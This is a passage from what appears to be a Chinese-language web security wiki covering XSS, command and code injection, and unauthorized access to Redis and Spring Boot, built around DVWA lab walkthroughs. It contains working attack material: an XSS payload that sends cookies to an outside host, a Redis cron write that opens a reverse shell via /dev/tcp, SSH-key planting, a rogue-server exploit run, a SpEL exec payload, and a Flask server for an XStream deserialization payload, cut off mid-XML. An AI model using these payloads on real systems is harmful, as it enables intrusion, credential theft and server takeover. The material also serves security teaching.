mysqli_real_escape_string(connection,escapestring); * connection\t必需.规定要使用的 MySQL 连接. * escapestring\t必需.要转义的字符串.编码的字符是 NUL(ASCII 0)、 、\\r、\\、'、" 和 Control-Z. * 如果不转义插入到数据库的时候则会报错 */ $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // name字段处理 /** * str_replace - 子字符串替换 *str_replace ( mixed $search , mixed $replace , mixed $subject ) *search 查找的目标值,也就是 needle.一个数组可以指定多个目标.\t*replace search 的替换值.一个数组可以被用来指定多重替换.\t*subject 执行替换的数组或者字符串.也就是 haystack. * 如果 subject 是一个数组,替换操作将遍历整个 subject,返回值也将是一个数组. */ //由于我们注入的payload是外部的所以完整标签中有src属性并不会匹配<script>所以过滤失败 $name = str_replace( '<script>', '', $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 更新数据库 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );} 高级分析前端正常顺序测试2个输入框,2种绕过方式都不可以,那我们就要想其他方式,比如其他标签<img>payload:<img src=x onerror='alert(1)'> 其实绕过方式并不止于script 1<img src=x onerror="this.src='//192.168.1.118/?'+document.cookie;this.removeAttribute('onerror');"> 漏洞源码分析1234567891011121314151617181920212223242526272829<?php// 检查是否通过POST方法提交了名为'btnSign'的表单字段if( isset( $_POST[ 'btnSign' ] ) ) { // 获取用户输入,来自POST请求的'mtxMessage'和'txtName'字段 $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // 清洁message输入: 移除HTML标签,并对特殊字符添加反斜杠 $message = strip_tags( addslashes( $message ) ); // 对$message进行转义,防止SQL注入 $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 对$message进行HTML字符转换,防止XSS攻击 $message = htmlspecialchars( $message ); // 清洁name输入: 使用正则表达式移除所有类似于<script>标签的内容,防止XSS攻击 $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); // 对$name进行转义,防止SQL注入 $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 构建SQL查询,将清洁过的$message和$name插入数据库的guestbook表中 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; // 执行SQL查询,如果查询失败则输出错误信息 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 关闭MySQL连接 // mysql_close();}?> 常用xss语句测试XSS漏洞最基本的语句如下: 12345<script>alert(1)</script> <script>alert(document.cookie)</script> <img src=x onerror=alert(document.cookie)> <svg onload=alert(document.cookie)> <a href=`JavaScript`:alert(document.cookie)> 当然,许多程序对这些常见标签都做了过滤,然而我们在DVWA中也见识到了不合理、不彻底的过滤. 面对过滤有几种基本的思路 避开过滤关键字,实现同样效果. 具体在XSS语句中,可以通过替换标签,替换元素内容来实现.对html和JavaScript了解越多,就越能找到可替换的代码. 通过某种混淆来实现绕过过滤. 如大小写绕过 1<ScRiPt>alert(1)</ScRiPt> 编码绕过 1%3c%53cript%3e alert(1) 3c%2f%53cript%3e 双写绕过 1<scr<script>ipt>alert(1)</scr</script>ipt> 绕过方式备忘录https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.htmlhttps://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html 总结 https://xss.haozi.me/https://xss.haozi.me/ XSS攻击是一种常见的Web应用程序安全漏洞,可以被攻击者用来窃取用户的敏感信息、执行恶意操作等. 为了有效防御XSS攻击,Web应用程序需要采取输入数据过滤和转义、输出数据过滤和转义、设置HTTP头、 对Cookie进行安全设置、使用Web应用程序防火墙、安全编程实践等措施.只有综合应用这些措施,才能保护Web应用程序免受XSS攻击的威胁."},{"title":"十一. RCE","path":"/wiki/VulnerabilityInsightDocs/十一. RCE.html","content":"总字符数: 10.96K 代码: 4.48K, 文本: 4.01K 预计阅读时间: 37 分钟 命令执行漏洞信息漏洞原理应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、 passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令. 拼接到正常命令中,从而造成命令注入攻击,这就是命令注入漏洞. 利用条件 应用调用执行系统命令的函数 将用户输入作为系统命令的参数拼接到了命令行中 没有对用户输入进行过滤或过滤不严 漏洞分类 命令直接注入执行漏洞 应用程序直接使用了危险的可执行系统命令的函数,比如php的system、exec函数等,并且这些函数的运行参数是用户可控的,若过滤不严格,就会增大命令执行漏洞的概率.命令本地包含执行漏洞.(注:(CGI)系统命令注入执行漏洞示例,就比如Bash漏洞,就属于这类漏洞,用户可以直接更改HTTP头user-agent的值,就可引发命令注入.) 命令包含执行漏洞 命令本地/远程包含漏洞:应用程序直接包含或执行了用户可控的上传脚本文件或远程文件(URL引用文件),就会触发此漏洞. 命令反序列执行漏洞 有些动态脚本语言,如php支持实例对象的序列化传输,然后服务端将实例对象反序列化出来并执行解析后实例的构造函数、析构函数或_wakeup()函数,若这些函数利用了用户可控的参数,则会触发命令/代码注入执行漏洞,原理和之前直接注入一样. 命令动态变量执行漏洞 有些动态脚本语言,如php,支持变量或函数的动态定义,即运行时可通过参数名来动态组装变量、变量值或函数.若代码中包含有类似代码,就会存在动态变量/函数的执行漏洞. 漏洞危害继承Web服务程序的权限去执行系统命令或读写文件 反弹shell 控制整个网站甚至控制服务器 进一步内网渗透 控制受害主机:攻击者可以通过RCE攻击远程控制受害主机,执行任意操作. 窃取敏感信息:攻击者可以利用RCE攻击窃取受害主机上的敏感信息,如密码、银行账户等. 破坏数据:攻击者可以利用RCE攻击破坏受害主机上的数据,如删除文件、格式化硬盘等. 传播恶意代码:攻击者可以利用RCE攻击在受害主机上安装恶意软件,从而进行更多的攻击. 滥用系统权限:攻击者可以利用RCE攻击获取受害主机上的系统权限,从而进行更多的攻击和滥用. 防范措施防止远程命令执行漏洞是一项关键任务,可以通过以下方法来实现: (1)输入数据过滤和验证:应用程序应该对所有输入数据进行充分的过滤和验证,包括但不限于用户输 入、文件上传、cookie等. (2)使用安全的编程语言和框架:使用安全的编程语言和框架可以帮助开发人员避免常见的安全漏洞. (3)最小化应用程序权限:应用程序应该以最低的权限运行,这可以减少攻击者获取服务器或系统的控制 权的可能性. (4)定期更新和修补程序:定期更新和修补程序可以帮助消除安全漏洞,包括远程命令执行漏洞. (5)使用Web应用程序防火墙:Web应用程序防火墙可以帮助检测和阻止恶意流量,包括远程命令执行漏洞攻击 (6)限制外部访问:限制外部访问可以帮助保护Web应用程序免受未经授权的访问和攻击. (7)日志和监控:记录和监控应用程序的所有操作可以帮助发现安全漏洞和恶意行为,以及对应应急响 应. (8)加密和认证:使用加密和认证机制可以帮助保护应用程序的数据免受未经授权的访问和窃取. (9)安全开发实践:开发人员应该遵循安全开发实践,包括但不限于安全代码审查、安全测试、安全培训 等. 常见连接符(管道符)windows系统支持的连接符 连接符 含义 | 直接执行后面的语句,例如 ping 127.0.0.1:whoami || 如果前面执行的语句出错,才执行后面的语句,所以前面的语句必须为假.例如 ping 127.0.0.1 & whoami & 前面的语句不管是真还是假都执行后面的语句.例如 ping 127.0.0.1 & whoami && 如果前面的语句为假则直接出错,也不执行后面的语句,只有前面的语句为真才行. 例如 ping 127.0.0.1 && whoami Linux系统支持的连接符 连接符 含义 ; 执行前面的语句才会执行后面的语句.例如:ping 127.0.0.1;whoami | 直接执行后面的语句.例如:ping 127.0.0.1|whoami || 如果前面执行的语句出错,才执行后面的语句,所以前面的语句必须为假.例如 ping 127.0.0.1 || whoami & 前面的语句不管是真还是假都执行后面的语句.例如: ping 127.0.0.1 & whoami && 如果前面的语句为假则直接出错,也不执行后面的语句,只有前面的语句为真才行.例如: ping 127.0.0.1 && whoami 常见命令执行的函数php执行系统命令有 6 个函数: 命令 说明 exec() 允许执行一个外部程序(如UNIX Shell/Linux Shell 或CMD命令等) system() 允许执行一个外部程序并回显输出,类似于passthru() passthru() 允许执行一个外部程序并回显输出,类似于exec() popen() 可通过popen()的参数传递一条命令,并对popen()所打开的文件进行执行 proc_open() 执行一个命令并打开文件指针用于读取以及写入 shell_exec() 通过Shell执行命令,并将执行结果作为字符串返回 system()12345[root@centos7 html]# vim system.php<?php $test = "id"; $last = system($test);?> 执行系统命令,有回显 passthru()1234<?php $test = "id"; passthru($test);?> 执行系统命令并且显示原始输出 shell_exec()1shell_exec(string $cmd): string) 通过shell环境执行命令,并且将完整的输出以字符串形式返回(无回显) exec()12345<?php $test = $_POST['c']; //id 是 linux 下的用于显示用户的 ID,以及所属群组的 ID exec($test,$array); //执行命令 print_r($array);?> 执行一个外部程序, 同时无回显,且输出的时候仅返回命令的最后一行 反引号1echo `ls`; 只要在反引号里的字符串都会被当作代码执行,注意如果反引号在单、双引号内则不起作用 漏洞复现低级我们对命令注入漏洞进行一个初步利用 让我们先执行一段命令,在输入框输入127.0.0.1,点击submit提交 可以看到成功回显执行结果,说明ping 127.0.0.1命令成功.然后尝试构造payload127.0.0.1|whoami 我们再输入框输入127.0.0.1&whoami,点击submit提交,可以看到不仅ping命令成功执行,并且后面的whoami命令也成功执行. 123456789101112131415161718192021222324252627if( isset( $_POST[ 'Submit' ] ) ) { // 获取输入的内容 $target = $_REQUEST[ 'ip' ]; // 判断操作系统,执行ping命令 if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows 下直接拼接用户输入的内容 // 比如上方我们输入的127.0.0.1|whoami // 下方的代码就是 // $cmd = shell_exec( 'ping ' . 127.0.0.1|whoami ); // $cmd = shell_exec( 'ping 127.0.0.1|whoami' ); // shell_exec (PHP 4, PHP 5, PHP 7) // shell_exec - 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回. // 说明: shell_exec ( string $cmd ) : string // 参数 cmd:要执行的命令 // 返回值:命令执行的输出. 如果执行过程中发生错误或者进程不产生输出,则返回 NULL. $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // 返回命令执行的结果 echo "<pre>{$cmd}</pre>";} 中级1234567891011121314// 设置危险字符的数组$substitutions = array( '&&' => '', ';' => '',);/* str_replace ( $search, $replace, $subject ) : 该函数返回一个字符串或者数组.该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果 search 查找的目标值,也就是 needle.一个数组可以指定多个目标. replace search 的替换值.一个数组可以被用来指定多重替换. subject 执行替换的数组或者字符串.也就是 haystack. 如果 subject 是一个数组,替换操作将遍历整个 subject,返回值也将是一个数组.*/// 将危险字符替换为空$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 通过源代码分析可以知道并没有过滤|,所以还是可以通过|来绕过 高级123456789101112131415// 定义危险数组$substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '',);// 将危险字符替换为空$target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 高级就特别有意思了,它类似于CTF故意给你留下了一个bug看你能不能发现,其实我们可以看到|旁边有个空格,所以只要我们的Payload |和两边的命令没有空格就不会被替换 不可能1234567891011121314151617181920212223242526272829303132333435363738394041424344if( isset( $_POST[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $target = $_REQUEST[ 'ip' ]; /* stripslashes ( string $str ) 反引用一个引用字符串. return: 返回一个去除转义反斜线后的字符串(\\' 转换为 ' 等等).双反斜线(\\\\)被转换为单个反斜线(\\) */ $target = stripslashes( $target ); // explode - 使用一个字符串分割另一个字符串 // 以.为分割字符将IP分为四部分 $octet = explode( ".", $target ); // 检查每个八进制是否为整数 if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) { // 如果4个八进制都是整数,把IP放回去. $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "<pre>{$cmd}</pre>"; } else { // 返回IP错误 echo '<pre>ERROR: You have entered an invalid IP.</pre>'; }}// Generate Anti-CSRF tokengenerateSessionToken(); 以上也属于一种措施,但是真正的业务中会产生无法ping域名的情况,可能会对正常的业务造成一定的损失 代码执行漏洞信息漏洞原理 远程命令执行漏洞的本质是输入数据未经过充分的验证和过滤,攻击者可以通过输入特定的恶意数据来执行任意代码.这通常是由于应用程序或服务器的代码实现中存在漏洞,使得攻击者可以利用该漏洞来执行任意代码. 攻击者可以利用多种技术来执行远程命令执行漏洞攻击,包括但不限于: 操作系统命令注入:攻击者通过输入操作系统命令来执行恶意代码,例如Linux系统中的”shell”命令. SQL注入:攻击者通过输入SQL语句来执行恶意代码,例如向Web应用程序中的数据库查询语句注入代码. 文件包含:攻击者通过在Web应用程序中包含恶意文件来执行恶意代码,例如通过包含PHP文件来执 行PHP代码. 反序列化漏洞:攻击者通过利用应用程序中的反序列化功能来执行恶意代码. 代码注入:攻击者通过向Web应用程序中注入恶意代码来执行代码. 漏洞危害或者获取敏感数据,控制服务器,甚至发起更加危险的攻击. 数据泄露:攻击者可以利用RCE攻击来窃取服务器上的敏感数据,如用户账号密码、数据库信息等. 破坏服务器:攻击者可以利用RCE攻击来破坏服务器的配置,如删除系统文件、更改系统设置等. 发起DDoS攻击:攻击者可以利用RCE攻击在目标服务器上安装僵尸程序,并将其作为攻击工具发起 DDoS攻击,使服务器无法正常运行. 漏洞防御为了防止RCE攻击,应该采取以下措施: 及时更新系统和应用程序,修复已知漏洞. 使用防火墙和入侵检测系统(IDS)等安全工具,及时检测和防范攻击. 对输入的数据进行严格过滤和验证,避免输入参数被解析为可执行代码. 限制应用程序的执行权限,将应用程序运行在最小权限的用户下. 禁止使用明文密码和弱口令,采用强密码策略. 启用日志记录,及时发现和排查异常行为. 代码注入攻击与命令注入攻击不同.因为需求设计,后台有时候需要把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞.不管是使用了代码执行的函数,还是使用了不安全的反序列化等等. 通过代码注入或远程代码执行(RCE),攻击者可以通过注入攻击执行恶意代码、向网站写webshell、控制整个网站甚至服务器.其实际危害性取决于服务器端解释器的限制(例如,PHP,Python等).在某些情况下,攻击者可能能够从代码注入升级为命令注入. 通常,代码注入容易发生在应用程序执行却不经过验证代码的情况下.以下是带有代码注入错误的示例PHP应用程序的源代码. 12345678910/*** 从get方法得到代码*/$code = $_GET['code'];/*** 不安全地执行代码* 例子 - phpinfo();*/eval($code); 根据上面的示例,攻击者可以使用以下结构来执行任意PHP代码.结果是显示出PHP信息页面. 1http://example.com/?code=phpinfo(); Payload:system('whoami'); 命令执行漏洞与代码执行漏洞的区别命令执行漏洞:直接调用操作系统命令命令执行漏洞原理:在操作系统中,”&、| 、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令. 代码执行漏洞:靠执行脚本代码调用操作系统命令应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、assert、shell_exec、passthru、popen、proc_open、escapeshellcmd、pcntl_exec等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行漏洞,这就是命令执行漏洞.以上函数主要也在webshell中用的多,实际上在正常应用中差别不太大,用得最多的还是前三个. 常用危险函数PHP12345678910111213141516171819202122232425262728293031# 函数调用注入和命令执行漏洞# 函数调用注入eval() // 把字符串作为PHP代码执行assert() // 检查一个断言是否为 FALSE,可用来执行代码preg_replace() // 执行一个正则表达式的搜索和替换call_user_func() // 把第一个参数作为回调函数调用call_user_func_array() // 调用回调函数,并把一个数组参数作为回调函数的参数array_map() // 为数组的每个元素应用回调函数# 动态函数$a($b)# 由于PHP的特性,PHP的函数支持直接由拼接的方式调用,这直接导致了PHP在安全上的控制有加大了难度.不少知名程序中也用到了动态函数的写法,这种写法跟使用`call_user_func()`的初衷一样,用来更加方便地调用函数,但是一旦过于不严格就会造成代码执行漏洞.# 举例:不调用`eval()`<?phpif(isset($_GET['a'])){ $a = $_GET['a']; $b = $_GET['b']; $a($b);} else { echo "?a=assert&amp;b=phpinfo()";}# 命令执行漏洞system() // 执行外部程序,并且显示输出exec() // 执行一个外部程序shell_exec() // 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回passthru() // 执行外部程序并且显示原始输出pcntl_exec() // 在当前进程空间执行指定程序popen() // 打开进程文件指针proc_open() // 执行一个命令,并且打开用来输入/输出的文件指针 java1java.lang.Runtime.getRuntime.exec(command) 在Java中,虽然没有像PHP的eval函数一样直接执行字符串的函数,但是反射机制和表达式引擎等功能依然会带来安全隐患.下面简要介绍一下这些概念: 反射机制(Reflection): Java的反射机制允许在运行时检查、获取和操作类、接口、字段、方法等类的信息.通过反射,可以动态创建对象、调用方法、获取字段值等,这给了攻击者一定的可操作性.在使用反射时,应该确保对输入进行充分验证和过滤,避免不当操作. OGNL(Object-Graph Navigation Language): OGNL是一种表达式语言,用于导航和操作对象图.它常被用于在Struts2等框架中进行数据绑定和表达式求值.攻击者可能通过构造恶意的OGNL表达式来执行任意代码,因此在使用OGNL时需要做好输入验证. SpEL(Spring Expression Language): SpEL是Spring框架中的表达式语言,用于在运行时进行查询和操作对象图.和OGNL类似,攻击者可能通过构造恶意的SpEL表达式来执行任意代码.在使用SpEL时应当谨慎处理用户输入. MVEL: MVEL是一种类似OGNL和SpEL的表达式语言,也用于在运行时进行动态表达式求值.同样,需要注意防范恶意输入,避免代码执行风险. python12345exec(string) # Python代码的动态执行eval(string) # 返回表达式或代码对象的值execfile(string) # 从一个文件中读取和执行Python脚本input(string) #Python2.x 中 input() 相等于 eval(raw_input(prompt)) ,用来获取控制台的输入compile(string) # 将源字符串编译为可执行对象 1234system() #执行系统指令popen() #popen()方法用于从一个命令打开一个管道subprocess.call #执行由参数提供的命令spawn #执行命令"},{"title":"十三. 未授权访问","path":"/wiki/VulnerabilityInsightDocs/十三. 未授权访问.html","content":"总字符数: 17.65K 代码: 6.99K, 文本: 3.65K 预计阅读时间: 46 分钟 redisredis利用方式 ssh-key redis以root用户运行 ssh端口开放并且权限够大 定时任务 redis以root用户运行 了解定时任务常见的目录 写入webshell redis以root用户运行 网站根目录 主从复制Rce 适用版本redis4.x/5.x WebShell1234# 修改redis.conf文件# 关闭默认情况下安全模式bind 127.0.0.1 # 前面加上#号protected-mode # 设为no= 1234config set dir /www/admin/localhost_80/wwwroot/config set dbfilename 1.phpset x "<?php phpinfo();?>"save ssh-key shell12345# centos受害机wget https://download.redis.io/releases/redis-4.0.5.tar.gztar -zxvf redis-4.0.5.tar.gzcd redis-4.0.5/make && make install ssh-keygen -t rsa (echo -e " "; cat id_rsa.pub; echo -e " ") > foo.txt然后将公钥写入 foo.txt 文件 连接 Redis 写入文件 1234567891011cat ~/.ssh/foo.txt | redis-cli -h 192.168.164.129 -x set crackitredis-cli -h 192.168.164.129$ 192.168.164.129:6379> config set dir /root/.ssh/OK$ 192.168.164.129:6379> config get dir1) "dir"2) "/root/.ssh"$ 192.168.164.129:6379> config set dbfilename "authorized_keys"OK$ 192.168.164.129:6379> saveOK 这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:ssh -i id_rsa root@192.168.164.129即可远程利用自己的私钥登录该服务器.当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤. 计划任务:error限制条件:Redis服务使用ROOT账号启动And Redis版本为4.0.5 1234wget https://download.redis.io/releases/redis-4.0.5.tar.gztar -zxvf redis-4.0.5.tar.gzcd redis-4.0.5/make && make install 1234set xx " * * * * * bash -i >& /dev/tcp/IP/8888 0>&1 "config set dir /var/spool/cron/config set dbfilename rootsave 主从复制随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。 然后关于Redis主从复制的一些问题,REDIS主从复制的疑问: redis主从复制 什么是主从模式呢? 主从模式就是指使用一个Redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。 什么是主从复制呢? 跟所有的数据库的主从复制一样,为了备份和提高性能。有一台主服务器,n台从服务器,从服务器会实时备份主服务器数据。 Redis4.x以上外部拓展 在 Redis 4.x 版本之后,Redis 增加了模块功能。通过这个功能,我们可以通过外部拓展的方式,在 Redis 中实现一个新的 Redis 命令。具体做法是使用 C 语言编写代码,并将其编译为一个动态链接库文件(.so 文件)。 这样做的好处是,我们可以在 Redis 中添加自定义的功能,而不需要修改 Redis 的核心代码。通过编写 C 语言代码并编译成动态链接库,我们可以将这个库加载到 Redis 中,并且让 Redis 识别并执行其中定义的新命令。这样就能够在 Redis 中拥有额外的功能和灵活性。 总结起来,新增的模块功能允许我们使用 C 语言编写扩展代码,将其编译成 .so 文件,并将其加载到 Redis 中,从而实现在 Redis 中添加新的自定义命令,以扩展 Redis 的功能。 利用原理在 Redis 的主从模式中,主机实例可以通过 FULLRESYNC 将数据同步到从机上。FULLRESYNC 是一种全量同步的机制,用于确保从机上的数据与主机一致。 然后,在从机上加载 .so 文件,我们可以执行拓展的新命令。这是因为在 Redis 的主从复制中,主服务器不仅会将数据复制到从服务器上,还会将自己的配置信息传递给从服务器。其中包括已加载的模块信息。 通过 FULLRESYNC 同步文件到从机上后,从机将具有与主机相同的数据和配置信息,包括已加载的 .so 文件。因此,在从机上可以直接使用已加载的模块,执行拓展的新命令。 Redis主从复制GetShell过程 本地编译好外部扩展即so文件 把so文件转码存入本地redis数据库 到目标服务器上设置主从关系,主服务器指定我们的本地机子 待同步后,设置备份路径和备份文件名(xx.so) 开始同步,备份数据库 然后加载备份数据库 然后就可以通过redis执行命令反弹shell了 12345在 Redis 主从复制中,目标机器并不是直接保存转译好的 so 文件的原因如下:\t1. 数据同步:主从复制的主要目的是将主服务器的数据复制到从服务器上。通过复制数据而不是直接传输二进制文件,可以确保从服务器与主服务器保持同步,并在主服务器更新时及时获取最新的数据。\t2. 灵活性:Redis 的主从复制机制可以实现多个从服务器复制一个主服务器的数据;同时,一个从服务器也可以作为另一个从服务器的主服务器。这种灵活性使得系统可以根据需求进行扩展和配置,适应不同的业务场景。\t3. 故障恢复:主从复制提供了故障恢复的能力。如果主服务器发生故障,从服务器可以被升级为新的主服务器,从而继续提供服务。这样可以减少系统中断时间,提高可用性。\t4. 负载均衡:通过将负载分布到多个从服务器上,主从复制可以提供负载均衡的能力。这样可以降低主服务器的负载压力,并提高整个系统的性能和可伸缩性。 复现过程123456wget https://download.redis.io/releases/redis-5.0.7.tar.gztar -zxvf redis-5.0.7.tar.gz\tcd make MALLOC=libcmake installvim redis.conf 123bind 127.0.0.1 ::1 这行注释掉,这样一来redis-server 的 host 就默认是 0.0.0.0,protected-mode yes 改成 protected-mode no,关闭默认打开 保护模式这个选项[root@vulhub redis-5.0.7]# ./src/redis-server redis.conf 1234567# Kaligit clone https://github.com/n0b0dyCN/redis-rogue-server.gitcd redis-rogue-server-master┌──(root㉿kill3r)-[/opt/redis/redis-rogue-server-master]└─# python3 redis-rogue-server.py --rhost 192.168.64.160 --lhost 192.168.64.21#i是正向Shell# r是反向Shell 注意事项 主从rce使用后容易把目标redis服务打挂,尽量不要过多使用,同时使用之前尽量先准备好权限维持的手段。 rce脚本会修改目标redis的配置项dbfilename和slaveof,事后要记得改回来。 redis外部拓展的利用redis外部拓展可以加载自己想要的任何东西,应用也十分广泛,不仅仅是执行命令。 后门的制作 绕过一些无法执行命令的场景(如php_disable_fuction) Spring Boot 未授权whitelabel error page SpEL RCE利用条件 spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0 至少知道一个触发 springboot 默认错误页面的接口及参数名 原理 ​\tspring boot 处理参数值出错,流程进入org.springframework.util.PropertyPlaceholderHelper 类中,此时 URL 中的参数值会用 parseStringValue 方法进行递归解析.其中 ${} 包围的内容都会被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞. SPEL简介 Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图.语言语法类似于统一 EL,但提供了额外的功能,最显着的是方法调用和基本的字符串模板功能 类似表达式:OGNL、MVEL、Jboss EL等等 漏洞复现 找到传参点比如发现访问/article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page,则后续payload都将会在参数id处尝试 执行SpEL表达式输入 /article?id=,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞 执行calc命令${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}\t12345678# 其中0x63,0x61,0x6c,0x63部分是calc的16进制形式# 可以使用如下脚本获取# coding: utf-8result = ""target = 'calc'for x in target: result += hex(ord(x)) + "," print(result.rstrip(',')) spring cloud SnakeYAML RCE漏洞原理 spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址 refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容 SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化 实例化类时执行恶意代码,造成 RCE 漏洞 利用条件 可以 POST 请求目标网站的 /env 接口设置属性 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖) 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE 目标可以请求攻击者的 HTTP 服务器(请求可出外网) 漏洞复现 托管yml和jar文件 12345# 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)# 使用 python 快速开启 http serverpython2 -m SimpleHTTPServer 80python3 -m http.server 80 在网站根目录下放置后缀为 yml 的文件 example.yml,内容如下 设置 spring.cloud.bootstrap.location属性 刷新配置(post方式访问/refresh) eureka xstream deserialization RCEXstream 简介 XStream是一种OXMapping 技术,是用来处理XML文件序列化的框架,在将JavaBean序列化,或将XML文件反序列化的时候,不需要其它辅助类和映射文件,使得XML序列化不再繁索.XStream也可以将JavaBean序列化成Json或反序列化,使用非常方便. xStream.fromXML(xml); 漏洞原理 eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址 refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞 利用条件 可以 POST 请求目标网站的 /env 接口设置属性 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖) 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中) 目标可以请求攻击者的 HTTP 服务器(请求可出外网) 漏洞复现 架设响应恶意 XStream payload 的网站提供一个依赖 Flask 并符合要求的python,作用是利用目标 Linux 机器上自带的 python 来反弹shell使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556#!/usr/bin/env python# coding: utf-8# -**- Author: LandGrey -**-from flask import Flask, Responseapp = Flask(__name__)@app.route('/', defaults={'path': ''})@app.route('/<path:path>', methods=['GET', 'POST'])def catch_all(path): xml = """<linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter 